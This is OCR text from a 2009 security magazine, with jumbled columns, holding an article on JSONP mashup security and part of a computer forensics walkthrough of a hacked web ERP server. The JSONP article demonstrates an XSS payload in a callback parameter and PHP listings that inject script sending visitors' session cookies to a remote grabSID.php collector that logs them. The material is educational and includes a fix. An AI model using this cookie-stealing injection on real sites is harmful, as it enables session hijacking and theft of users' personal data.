of any website's CSS, HTML, DOM, and JavaScript,
callback function whose name will be sent
• IFRAME: places another HTML document in a frame inside a normal HTML document, as a querystring to the server. This time we
• JSON (JavaScript Object Notation): lightweight computer data interchange format, don't make asynchronous calls, but simply
• JSONP (JSON with Padding): a JSON extension wherein the name of a callback function is include a regular <script> tag which
specified as an input argument of the call itself, points to the server. The browser allows
• Mashup: a Web application that combines data or functionality from one or more sources
you to include cross-domains scripts, so
into a single integrated application,
there aren't any blocks.
• PHPSESSID: session identifier used in a PHP context and stored into a client cookie,
• Same Origin Policy: browser's security rule which permits scripts running on pages In listing 4 there is the new HTML flight
originating from the same site to access each other's methods and properties with no search page. In this case the callback
specific restrictions, but prevents access to most methods and properties across pages function showData() is not called directly
on different sites, from the onload event on body, but
• SOAP (Simple Object Access Protocol): a protocol specification for exchanging structured
through a <script> tag dynamically
information in the implementation of Web Services in computer networks,
generated at runtime by the following lines
• XML (Extensible Markup Language): a general-purpose specification for creating custom
markup languages, of code:
• XMLHttpRequest: a DOM API that can be used inside a web browser scripting language,
such as Javascript, to send an HTTP request directly to a web server and load the server var script = document.createElement('
response data directly back into the scripting language, script');
• XSS (Cross-site scripting): a type of computer security vulnerability typically found in web script.setAttribute('src', url);
applications which allow code injection by malicious web users into the web pages viewed
document.getElementsByTagName('head')
by other users.
[0].appendChild(script);

5/2009 HAKIN9 35
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

which at runtime becomes: ompanies.php?cb=showData with the echo $callback . '( ' . trim(getJSON
following: ($result, $num)) . ' );';
<script src="http://www.example.com/
jsonPCompanies.php?cb=sh http://www.example.com/ with:
owData"></script>
jsonPCompanies.php?cb=<html> if (ereg("^[A-Za-z0-9]+$", $callback)
dynamically added to the <head> tag of <head><script>alert
the HTML page. (document.cookie);</script> && strlen($callback) <= $maxLength){
The server’s response will be </head></html>showData echo $callback . '( ' . trim
showData( JSON text ); as you can (getJSON($result, $num)) . ' );'; }
see in figure 2 from the Firebug console. in which we inject a JavaScript else print 'Parameter not valid!';
It's a sort of JavaScript injection rather alert(document.cookie) function. In
than a script technique, but it rocks! practice, in addition to sending the callback That's just enough to reduce the risk of a
By the way JSONP also introduces function name, we also send a small HTML XSS attack.
substantial security risks if misused. page that displays the session cookies into
First obvious evidence is that if you don't an alert message. In other words the server It's a Question of Trust
adequately filter the querystring parameter is vulnerable to XSS. The problem is that before doing a wide
in the PHP script, the server is exposed to You can patch the code filtering the mashup we should think for a moment
arbitrary code execution. querystring parameter to alphanumeric about what kind of risks we may be
As an example, let's change the script characters only and limiting its length. So exposing our web sites to. Including a
URL: http://www.example.com/jsonPC you can replace the following code: third-party script in our web site means
having blind trust of that service. In fact,
Listing 5. It injects a malicious script together with the service we do not only need to pay attention to
security holes in our code, but also ensure
<?php
that such services come from reliable
//Include the getJSON function
include 'getJSON.php'; suppliers, and hope they are not exposed
to other security holes.
//Include database connection settings The risks are inversely proportional to
include 'config.php';
the trust level of such services.
//Retrieve data from DB Imagine you get a web site that
include 'mySqlData.php'; requires user authentication and you
decide to integrate some external services
//Callback function name
$callback = $_GET['cb'];
such as news, maps, and others. User
authentication usually requires a session
//Attack script ID to be stored into cookies on the client
$attack = "var script = document.createElement('script');script.setAttribute('src',
side (i.e., browsers). If a malicious person
'http://www.example.com/grabSID.php?sid='+document.cookie);doc
ument.getElementsByTagName('head')[0].appendChild(script);"; has access to the user session ID when
the latter is authenticated he could steal
if ($callback != '') the user’s personal data.
//Response with JSONP
echo $attack . $callback . '( ' . trim(getJSON($result, $num)) . ' );';
else For Example
//Response with JSON Let's suppose the flight search form is
echo $attack . trim(getJSON($result, $num));
accessible only after user authentication.
//Close DB connection
We can simulate the authentication by
mysql_close($db); opening a new session on the page.
?> The only thing to do is to rename the
searchFlight.htm file in searchFlight.php
Listing 6. It appends to a text file the input parameter
and add the following line of code at the
<?php top of the page:
$ip_address = $_SERVER["REMOTE_ADDR"];
$file = fopen($ip_address . ".log","a");
fwrite($file,$_GET['sid']);
<?php session_start(); ?>
fclose($file);
?> Now modify the server service in order to
perform a JavaScript injection together
with the regular response of the airline

36 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
WEB APPLICATION HYBRID
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

companies. We want to steal the user echo $attack . $callback . '( ' . Figure 3 shows what happens. As
session ID and store it on our server. trim(getJSON($result, you can see from the Firebug console,
Listing 5 shows how you can do that. $num)) . ' );'; in addition to the regular script which
In practice, we have stored a malicious populates the select box with the airline
script in the variable: The script does nothing but create at companies, a second malicious script
runtime in the client page a new dynamic grabs the user session ID and sends it to
$attack = "var script = document.crea <script> tag which grabs the user the malicious web site.
teElement('script');scr session ID into a querystring parameter Sometimes we trust third-party
ipt.setAttribute('src', which in turn is passed to a remote services because they are known to be
'http://www.example.com/ page on a malicious web site. The file safe, but we can't be sure they aren't
grabSID.php?sid='+docum grabSID.php is shown in listing 6. vulnerable to attacks which introduce new
ent.cookie);document.ge It is a simple routine which stores the security holes on our web site.
tElementsByTagName('hea SID parameter into a log file. It generates Examples of ready-made JSONP
d')[0].appendChild(scri a log file for each client IP address public services are the following (source
pt);"; which connects, such as, for example: IBM):
192.168.0.1.log . So each file will contain
then we print it in the response before the a text line with the user session ID. For • Digg API: Top stories from Digg: http:
callback function. So the JSONP response simplicity, all the server side controls and //services.digg.com/stories/top?appke
will be made by: error handling code has been omitted. y=http%3A%2F%2Fmashup.com&type=
javascript&callback=?.
• Geonames API: Location info for a
zip-code: http://www.geonames.org/
postalCodeLookupJSON?postalcode=
10504&country=US&callback=?.
• Flickr API: Most recent cat pictures
from Flickr: http://api.flickr.com/
services/feeds/photos_public.gne?tag
s=cat&tagmode=any&format=json&js
oncallback=?.
• Yahoo Local Search API: Search
pizza in zip-code location 10504:
http://local.yahooapis.com/
LocalSearchService/V3/localSearch?a
ppid=YahooDemo&query=pizza&zip=
10504&results=2&output=json&callba
ck=?.

They all seem safe, but are you sure they


are not vulnerable to XSS? Try to send an
alert('XSS') to any of them... maybe the
responses might be surprising!

Figure 3. Malicious script injected into the form

On the 'Net
• http://www.json.org/ – The official JSON web site
• http://bob.pythonmac.org/archives/2005/12/05/remote-json-jsonp/ – Remote JSONP,
• http://www.ibm.com/developerworks/library/wa-aj-jsonp1/?ca=dgr-jw64JSONP-jQuery&S_
TACT=105AGY46&S_CMP=grsitejw64 – Cross-domain communications with JSONP, Antonio Fanelli
An electronics engineer since 1998 he is extremely keen
• http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php – AJAX and about information technology and security. He currently
mashup security. works as a project manager for an Internet software
house in Bari, Italy.

5/2009 HAKIN9 37
ATTACK
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

ISMAEL VALENZUELA

My ERP Got Hacked –


An Introduction to
Computer Forensics,
Part II
Difficulty

In Part I of this article we introduced the scenario described in the


Third Forensic Challenge organised by the UNAM-CERT (Mexico)
back in 2006.

A
fter describing how to set up a forensic Looking at the details in the Listing
lab and how to best perform the initial 1, a forensic examiner can gain a better
response, part II of this article will continue understanding of what types of files or
illustrating in practice the methods, techniques applications have been accessed on the system.
and tools used to investigate and analyse the In this case, we can see the activity of the suspect
digital evidence found during the course of a ver0k account a little while after the account was
computer forensic investigation. Now we are created on the system. Some of these activities
finally getting closer to know if there was any include:
unauthorised access to the Web-based Enterprise
Resource Planning (ERP) server, how it happened • Typed the following URL on the browser
and what was the extent of the damage... (MSN home page) at 20:47: http://
www.microsoft.com/isapi/redir.dll?prd=ie&pver
Investigation and Analysis =6&ar=msnhome.
At the end of Part I we described how to use • Ran the MySQL Administrator at 20:48.
Regripper and the rip.pl tool to parse key Windows • Browsed the Administrator home folder,
Registry files such as SYSTEM, SOFTWARE, executing many .exe files from 21:28 to 21:39.
SECURITY and SAM. However, there is still a • Ran MSN Messenger at 21:59.
WHAT YOU SHOULD
file that is part of the registry that we have not
KNOW...
analysed yet, NTUSER.DAT. It is also interesting to notice the information stored
Windows and Linux System
Administration under the registry key ComDlg32\OpenSaveMRU. The
Intrusion and hacker techniques
Initial Reconnaissance ComDlg32 control is used in many applications and
Each of the users extracted from the SAM registry saves its own set of history information separate
NTFS file system essentials
hive (listed in part I), will have their own section of the from other Windows history. Every time a file is
WHAT YOU WILL registry contained in that particular file, stored under saved to the system, it keeps a record of this activity.
LEARN... the Documents and Settings\USERNAME folder. Thus, Looking at the values in our report, we can see that
How to investigate security we can use the rip.pl tool to enumerate the most both c:\users.txt and c:\clients.txt were the last files
breaches and analyse data
without modifying it recently used files, last files the user had searched for saved to the system around 21:06. Note that all the
on the drive, last typed URLs, last saved files and even times found on these files are set to GMT and must
How to create event timelines
and how to recover data from last commands executed on the system. be translated to PST (GMT-8).
unallocated space
Here is the command used to retrieve all this Other files such as config.php and
How to extract evidence from information from ver0k home user folder, and an accountgroups.php were also accessed by the
the registry and how to parse
windows event logs excerpt of the report (see Listing 1). ver0k account.

38 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
MY ERP GOT HACKED! NOW WHAT?
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

6 = overlay_por_2006020107034_20060201190204.jpg
Listing 1a. Running Regripper on ver0k’s NTUSER.DAT
17 = overlay_9_2006020110006.jpg
# perl rip.pl -r /mnt/hack/hakin9_090101mnt/Documents\ and\ 16 = overlay_8_2006020110005.jpg
Settings/ver0k/NTUSER.DAT -f ntuser > 15 = overlay_8.jpg
/images/hakin9_090101/ver0k-ntuser.txt 14 = overlay_7_2006020110005.jpg
Logon User Name 13 = overlay_6_2006020110004.jpg
Software\Microsoft\Windows\CurrentVersion\Explorer 12 = overlay_6_2005112211035.jpg
LastWrite Time [Sun Feb 5 23:44:08 2006 (UTC)] 11 = overlay_5_2006020110004.jpg
Logon User Name = ver0k 4 = Local Disk (C:)
---------------------------------------- 5 = users.txt
comdlg32 v.20080324 3 = clientes.txt
ComDlg32\LastVisitedMRU 1 = web-erp
**All values printed in MRUList order. 2 = config.php
Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ 0 = AccountGroups.php
LastVisitedMRU 4294967295 =
LastWrite Time Sun Feb 5 21:05:56 2006 (UTC) TypedURLs
MRUList = a Software\Microsoft\Internet Explorer\TypedURLs
a -> C:\msnmsgr.exe LastWrite Time Sun Feb 5 20:47:38 2006 (UTC)
url1 -> http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&a
ComDlg32\OpenSaveMRU r=msnhome
**All values printed in MRUList order. UserAssist (Active Desktop)
Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\
OpenSaveMRU {75048700-EF1F-11D0-9888-006097DEACF9}\Count
LastWrite Time Sun Feb 5 21:05:56 2006 (UTC) LastWrite Time Sun Feb 5 21:59:52 2006 (UTC)
Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ Sun Feb 5 21:59:52 2006 (UTC)
OpenSaveMRU has no values. UEME_RUNPIDL (5)
UEME_RUNPATH (45)
Subkey: * UEME_RUNPIDL:%csidl2%\MSN Messenger 7.5.lnk (2)
LastWrite Time Sun Feb 5 21:06:37 2006 (UTC) UEME_RUNPATH:C:\Program Files\MSN Messenger\msnmsgr.exe
MRUList = ba (2)
b -> C:\users.txt UEME_RUNPATH:{5CCEE3CA-03EC-11DA-BFBD-00065BBDC0B5} (2)
a -> C:\clientes.txt Sun Feb 5 21:53:46 2006 (UTC)
UEME_RUNPATH:C:\WINDOWS\system32\NOTEPAD.EXE (4)
Subkey: txt Sun Feb 5 21:47:41 2006 (UTC)
LastWrite Time Sun Feb 5 21:06:37 2006 (UTC) UEME_RUNPATH:C:\Program Files\Windows NT\Accessories\
MRUList = ba WORDPAD.EXE (12)
b -> C:\users.txt Sun Feb 5 21:39:45 2006 (UTC)
a -> C:\clientes.txt UEME_RUNPATH:C:\Documents and Settings\Administrator\
My Documents\My Videos\cartoons\
---------------------------------------- unbaileparati.exe (1)
RecentDocs – recentdocs Sun Feb 5 21:39:26 2006 (UTC)
**All values printed in MRUList\MRUListEx order. UEME_RUNPATH:C:\Documents and Settings\Administrator\My
Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs Documents\My Videos\cartoons\tortuga2.exe (1)
LastWrite Time Sun Feb 5 21:58:56 2006 (UTC) Sun Feb 5 21:39:07 2006 (UTC)
18 = Administrator's Documents UEME_RUNPATH:C:\Documents and Settings\Administrator\My
37 = examen.gif Documents\My Videos\cartoons\tortuga1.exe (1)
36 = Apache Sun Feb 5 21:35:18 2006 (UTC)
35 = ABOUT_APACHE.TXT UEME_RUNPATH:C:\Documents and Settings\Administrator\My
34 = maick Documents\My Videos\cartoons\TestdeRavenH.exe
33 = Sti_Trace.log (1)
32 = RRGEPPortadas.doc Sun Feb 5 21:35:08 2006 (UTC)
31 = RRGEPNotas.doc UEME_RUNPATH:C:\Documents and Settings\Administrator\
30 = Notas.doc My Documents\My Videos\cartoons\
24 = Indice Pormenorizado.doc tequieromasqueamis.exe (1)
29 = ÍNDICE DOCTORADO.doc Sun Feb 5 21:34:22 2006 (UTC)
28 = formulario.doc UEME_RUNPATH:C:\Documents and Settings\Administrator\My
23 = 30SEP_bolecart-book.doc Documents\My Videos\cartoons\temoc.exe (1)
26 = Israel Robledo Gonzáles's Documents Sun Feb 5 21:33:50 2006 (UTC)
27 = concha.doc UEME_RUNPATH:C:\Documents and Settings\Administrator\My
25 = Boletin11.doc Documents\My Videos\cartoons\Te quiero como a
19 = modelos mi huevo.exe (1)
22 = nm06082003.jpeg Sun Feb 5 21:33:31 2006 (UTC)
21 = nm06052003.jpeg UEME_RUNPATH:C:\Documents and Settings\Administrator\My
20 = nm06042003.jpeg Documents\My Videos\cartoons\sarten.exe (1)
10 = nm06032003.jpeg Sun Feb 5 21:33:17 2006 (UTC)
9 = a017.jpg UEME_RUNPATH:C:\Documents and Settings\Administrator\My
7 = imagenes Documents\My Videos\cartoons\saludosamama.exe
8 = overlay_por_2006020110007_20060201224249.jpg (1)

5/2009 HAKIN9 39
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

To complete our analysis of the both installed in your Linux Forensic the time zone of your analysis system to
registry, we will do the same with every Workstation. Autopsy works as a Web- build a timeline of events. Hence, if your
single user on the ERP system, analysing based front end to all of the Sleuth Kit local time zone is set to a time zone
carefully all the traces that could help us in tools and makes it easy to perform most different than Pacific Standard Time,
our investigation. of the common forensic related tasks be sure you specify it in the Time Zone
like to create timelines, to examine a file field, as seen in Figure 1. Using correctly
Timeline Creation and Analysis system and to organize multiple forensics synced time is particularly important when
A good starting point in your investigation analyses into different cases, so you can piecing together a chain of events from
would be to find out when did the attack reference them later. different sources, as we will demonstrate
start. Once you obtain that information To start Autopsy, open a web browser later.
you could check file access, creation and and type in http://localhost:9999/autopsy Click on Add Host when you are done.
modification times around that period to get to view the default page and click New Adding a host will create a directory in the
some idea of the actions that took place Case to start your investigation. Name case directory and subdirectories in the
on the system and the files the attackers your case, provide a description and host for the images, output data, logs and
touched. Furthermore, you can correlate that fill out the investigators names before reports.
with other time stamped files like windows you click New Case again to let Autopsy Next, the image we previously
event logs and application logs to get a create the directory and configuration acquired should be added to the
bigger picture. That timing of events, or files. Now click Add Host to create a host. Click Add Image to see the Host
timeline, usually becomes the centre of your host for this case. As before fill out the Manager screen. Select Add Image File
investigation, although you must be aware information about the host you are and type the full file path to the image
that an attacker can easily modify file times. adding. file in the location field. The Type field
To create a timeline, we will make Note that an optional Time Zone value lets you inform Autopsy of the type of
use of the Sleuth Kit tools and Autopsy, can be given. By default Autopsy will use image you created. Our dd image doesn't

Listing 1b. Running Regripper on ver0k’s NTUSER.DAT (continuation)

Sun Feb 5 21:32:28 2006 (UTC)


UEME_RUNPATH:C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\Poetas Huevos 2a Edicion.exe (1)
Sun Feb 5 21:32:19 2006 (UTC)
UEME_RUNPATH:C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\Perdonam.exe (1)
Sun Feb 5 21:32:05 2006 (UTC)
UEME_RUNPATH:C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\no muerdo.exe (1)
Sun Feb 5 21:31:53 2006 (UTC)
UEME_RUNPATH:C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\no existieras.exe (1)
Sun Feb 5 21:30:21 2006 (UTC)
UEME_RUNPATH:C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\Muchos Huevos.exe (1)
Sun Feb 5 21:30:05 2006 (UTC)
UEME_RUNPATH:C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\mordida.exe (2)
Sun Feb 5 21:29:36 2006 (UTC)
UEME_RUNPATH:C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\mi vecina.exe (1)
Sun Feb 5 21:29:15 2006 (UTC)
UEME_RUNPATH:C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\amigas de huevos.exe (1)
Sun Feb 5 21:28:54 2006 (UTC)
UEME_RUNPATH:C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\el df.exe (1)
Sun Feb 5 21:28:37 2006 (UTC)
UEME_RUNPATH:C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\fiesta en el antro.exe (1)
Sun Feb 5 21:11:00 2006 (UTC)
UEME_UISCUT (2)
UEME_RUNPATH:::{645FF040-5081-101B-9F08-00AA002F954E} (2)
Sun Feb 5 20:49:43 2006 (UTC)
UEME_RUNPATH:C:\WINDOWS\system32\rundll32.exe (1)
Sun Feb 5 20:49:04 2006 (UTC)
UEME_RUNPATH:C:\WINDOWS\explorer.exe (1)
UEME_RUNPIDL:%csidl2%\Accessories\Windows Explorer.lnk (1)
Sun Feb 5 20:48:17 2006 (UTC)
UEME_RUNPIDL:%csidl2%\MySQL\MySQL Administrator.lnk (1)
UEME_RUNPIDL:%csidl2%\MySQL (1)
UEME_RUNPATH:C:\Program Files\MySQL\MySQL Administrator 1.1\MySQLAdministrator.exe (1)
Sun Feb 5 20:46:04 2006 (UTC)
UEME_RUNPIDL:%csidl2%\Accessories\Notepad.lnk (14)

40 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
MY ERP GOT HACKED! NOW WHAT?
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

contain a full disk but rather an individual timeline and start the analysis. Creating a Data File from the top menu, select the
partition, so we select Partition. Then timeline in Autopsy takes two major steps: Windows 2003 image and choose what
select Symlink for Autopsy to create in type of files you want to extract the meta-
its evidence locker a symbolic link to • Extract the file metadata from the file data from. Two types are available:
the image file and avoid unnecessary system image and save it to a data file
duplication. After that the next window will usually referred as body file. • Allocated files: Those that can be seen
show you the file system for the partition • Parse the body file and create an while browsing the file system. In other
to be imported and will allow you to ASCII timeline of file activity between words, those that have an allocated file
specify or calculate an MD5 hash for the two given dates. name structure.
image file. • Unallocated files: Those that have
Now that you have created the case, To create a timeline from our acquired been deleted, but that Sleuth Kit can
added a host and selected the NTFS image, click File Activity Timelines from the still access, such as orphan files.
partition image, you are ready to create a Host Manager screen. Then click Create Orphan files are files that no longer
have a name but whose metadata still
exists.

Select both types of files and check the


Generate MD5 Value before you click OK.
When Autopsy completes the Sleuth Kit
command fls -r -m on the image, a body
file will be created in the output directory
and an entry added to the host config file.
The next screen will allow you sort the
newly created body file into a timeline.
We will continue with the default settings,
without specifying a particular starting
or ending date. The resulting timeline.txt
file will be created in the output directory,
using the time zone set for this host
(Pacific Standard Time in our case).
As you can see now a timeline has
many columns, the most relevant being
Figure 1. Add new host screenshot. Time zone must be set to PST8PDT the following:

Figure 2. The timeline shows what files were modified, accessed and born at the time of the creation of account ver0k

5/2009 HAKIN9 41
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

• Date and time of the activity. If no date 5th of Feb 2006, the date when the ver0k all found in c:\windows\system32
is given, then the activity occurred at account was created. Too see a sample of directory, were accessed. Remember
the same time as the previous entry this activity check Figure 2. that some of the uses of net.exe and
with a time. A search for the first occurrence reg.exe include creating user accounts
• Entry Type. The m, a, c, and b letters of ver0k reveals that the user profile and making changes to the windows
identify which of the activity types this directory was created under the registry.
entry corresponds to. m is for modified Documents and Settings folder on the Last, at 12:47, the executable c:\
times, a is for access times, c is for 5th of Feb at 12.47, as Figure 2 shows. It’s windows\system32\rdpclip.exe is accessed
change times, and b is for created (or interesting to notice that only 3 minutes along with the c:\windows\media\windows
born) times. before, user Jonathan had some .tiff startup.wav file and a good number of .lnk
• Meta Data Address. The inode or MFT and .htm files created under the Internet files within the ver0k home directory, a
entry address for the associated file. Explorer temporary files directory, which clear indication of a user logon.
• File Name. The name of the file and the indicates some Internet browsing activity. Do you have a clearer picture now?
destination of a symbolic link. Deleted Some of these files appear as deleted
entries will have (deleted) at the end and but they still can be retrieved from the File and Directory Analysis
deleted entries that point to an allocated unallocated space. We have a good amount of information
meta data structure will have (realloc). It also catches our attention that at this point. So what should you look for
between Jonathan’s Internet activity and next? Well, the following is a brief list of
To focus our analysis of the timeline we will the creation of account ver0k , the files things you should be looking for when
review the activity that took place on the net.exe, reg.exe, rdpwsx.dll and rdpwd.sys, browsing the offline file system:

Listing 2. Excerpt of config.php located under C:\apache\apache\htdocs\web-erp

/* $Revision: 1.64 $ */

/*-------------------------------------------------\
| | | config.php |
|---------------------------------------------------|
| Web-ERP – http://web-erp.sourceforge.net |
| by Logic Works Ltd |
|---------------------------------------------------|
| |
\-------------------------------------------------*/

// User configurable variables


//---------------------------------------------------

//DefaultLanguage to use for the login screen and the setup of new users – the users language selection will override
$DefaultLanguage ='en_GB';

// Whether to display the demo login and password or not on the login screen
$allow_demo_mode = False;

// webERP version

$Version = '3.04';

// Connection information for the database
// $host is the computer ip address or name where the database is located
// assuming that the web server is also the sql server
$host = 'localhost';

//The type of db server being used – currently only postgres or mysql


$dbType = 'mysql';
//$dbType = 'postgres';
//$dbType = 'mysql';

$DatabaseName='weberp';

// sql user & password


$dbuser = 'weberp_us';
$dbpassword = '';

42 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
MY ERP GOT HACKED! NOW WHAT?
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

• Relevant files (pagefile.sys, index.dat , apache\mysql\data. It's interesting that we the built-in Event Viewer, we will make use
etc...). can connect directly to those logs using of more powerful and flexible tool in our
• Windows event logs. the MySQL Administrator console on the forensic analysis: Microsoft’s LogParser.
• Application configuration files and logs. bootable image, as we know there is no LogParser is a command-line tool
• Evidence of malware, rootkits, etc... password (yes, no password!) to connect that provides a SQL interface to a variety
to the database. This gives us a hint of of log files, XML files and CSV files,
Considering that we know we have a what the attacker could have possibly including key data sources such as the
WAMP (Windows + Apache + MysQL + done. Event Log, the Registry, the file system,
PHP) environment, the next thing we will A further analysis correlating and Active Directory. The latest version
review is the configuration files for these the timestamped files access.log of this versatile tool can be downloaded
applications that form the basis of the and error.log from Apache and from http://www.microsoft.com/
Web-based ERP system. counters.log from MySQL reveals downloads/details.aspx?FamilyID=890cd
A quick look at the apache installation that on Feb 5 at 13:57, a new account 06b-abf8-4c25-91b2-f8d975cf8c07&disp
directory reveals a couple of interesting called admin was created on the Web- laylang=en.
things. First, the httpd.conf confirms based ERP System from the IP address To start digging into the actual log
that the server was indeed listening 70.107.249.150. files we will use a simple SELECT ALL
on port 80. Second, installed under C: query. Then, we change to the LogParser
\apache\apache\htdocs\ we find a folder Parsing Windows Event Logs directory and type the following command
named web-erp, an open-source ERP A great source of information is the to parse the Security Event Log:
created by Logic Works Ltd and available Windows Event Logs. They can provide
on www.weberp.org. Soon we realise that a good amount of information that's LogParser “SELECT * FROM 'X:\
MySQL is the database of choice that useful for understanding events during hakin9_090101mnt\WINDOWS\
supports this web-based ERP, so the a forensic analysis. These logs record a system32\config\SecEvent.evt'” -i:
postgres database can be ignored in our variety of daily events that take place on EVT -o:CSV > security.csv
analysis. your Windows system and can also be
Listing 2 is an excerpt from the configured to record a range of additional This command assumes that you have
content of config.php , the file that holds events. These events are categorised as mounted your offline system on the X:
the web-erp configuration located under Security, System and Application Event drive of your windows workstation. The
the C:\apache\apache\htdocs\web-erp Logs. These are stored in binary files -i:EVT is the input engine argument
directory. under the Windows/system32/config with telling log parser that the format is
Notice that the database for the Web the extension *.evt. coming from the Windows Event Log
based ERP was accessible with user Alternatively, the presence of a file format, while the -o:CSV is the output
weberp _ us and blank password! called dnsevent.evt in our system, confirms engine argument telling log parser
We can also find the Apache logs that it was configured as a DNS server. to format the output into the CSV or
under C:\apache\apache\logs while While administrators are most familiar with comma separated value file. A file in a
MySQL logs are found under C:\apache\ interacting with the Event Logs through csv format can be easily imported into a

Figure 3. A CSV file showing the output of LogParser on the Security Event Log

5/2009 HAKIN9 43
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

spreadsheet, something we will find very User Account Created: New Account Pasco will output the results in a field-
valuable soon. Name: ver0k New Domain: COUNTERS delimited format so you can open it
We do the same with the System and New Account ID: %{S-1-5-21-2780117151- as a TAB delimited file in your favourite
Application Event Logs, so we finally have 1340924567-2512508698-1024} Caller spreadsheet program to further sort and
3 different csv files, one for each kind User Name: Jonathan Caller filter the results. Figure 4 shows an excerpt
of event log. However, it would be best if The entry shown above evidences that of that file.
we could combine those three files into it was the user Jonathan who called the We find several things in this file. For
a single one, one that we could sort by process that resulted in the creation of example, we can see that between 12:
time/date and create a timeline of events. the account ver0k . The event log shows 26 PST and 13:06 PST on Feb 5 2006,
To do so, we will use the handy yet simple further activity from the ver0k user from the user Jonathan used the Yahoo mail
copy command: that time on. Again, some of this activity service as we find several hits to http:
includes the use of the Internet Explorer //e1.f376.mail.yahoo.com, and that at 12:
Copy *.csv combined.csv browser, so let’s analyse that next. 41 PST he visited http://70.107.249.150/
clientes.wmf, then at 12:44 PST http:
After tiding up a bit the resulting combined Analysing the Internet Explorer //70.107.249.150:8080/clientes.wmf
csv file, we obtain a spreadsheet that can Browsing History File and right after http://70.107.249.150:
be easily analysed as shown in Figure 3. Internet Explorer keeps a history of its 8080/GPlw9OgYR6/uSvcCeC1V18W/
After a detailed analysis we realise that activity that a forensic investigator can use bfKJ0KMsfYBZnaFKx6dZs/
the user Jonathan uses the Administrator to get a clearer picture of the user’s activity. FHBwenHfCEt6do1Z/
account interchangeably on several This information is stored in a file named e9zhOEMQ052zYwSU5Oi/AUWWckI2mU/
occasions. To visualise this, create a filter INDEX.dat that is kept at multiple locations. LQ9ClubslAJKIa2jdYtSFExez4sRyL.tiff
on the column EventCategoryName to see INDEX.dat provides useful information on This activity looks really suspicious
all the Logon/Logoff events. Based on this URL access, use of cookies, etc, along given that the IP 70.107.249.150 was
evidence we can suppose that it was the with their corresponding date-time stamps. already found to be the address from
user Jonathan; who was actually a system Again, these are in a binary structure but where the admin account was created on
administrator for that box. we will use pasco, a free tool from http: the ERP system. Furthermore, the account
There are other interesting events we //www.foundstone.com, to parse this file. ver0k was created at 12:45 PST on the
can find on our combined spreadsheet. Given that most of our evidence points same day, just a minute after the user
For example, the System Event Log shows to two users, Jonathan and ver0k , we Jonathan clicked on that link.
that the system time zone was initially set will start analysing the Internet Browsing The analysis of the Internet activity
to Alaskan Standard Time on January History for them. To examine Jonathan’s for the user ver0k confirms that the
25, when the system was installed. Then, activity we change to \Documents and MSN service was accessed along with
it was changed to Pacific Standard Time Settings\Johnathn\Local Settings\ other web-erp configuration files such
on the 2nd of Feb. The Security Event Log History\History.IE5 and run the following as config.php and accountgroups.php,
also contains several entries related to the command: both, as we already found when doing the
execution of Internet Explorer. NTUSER.dat registry analysis.
However, the most interesting event is # pasco index.dat > /images/hakin9_ To complement this information we
the one that took place on Feb 05 2006 at 090101/Jonathan- will run a keyword search using Autopsy’s
12:45:30 p.m. ie.csv built-in capabilities.

Figure 4. Pasco can dump the contents of INDEX.DAT into a TAB delimited file, showing the URLs that Jonathan visited on the 5th of Feb
2006

44 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

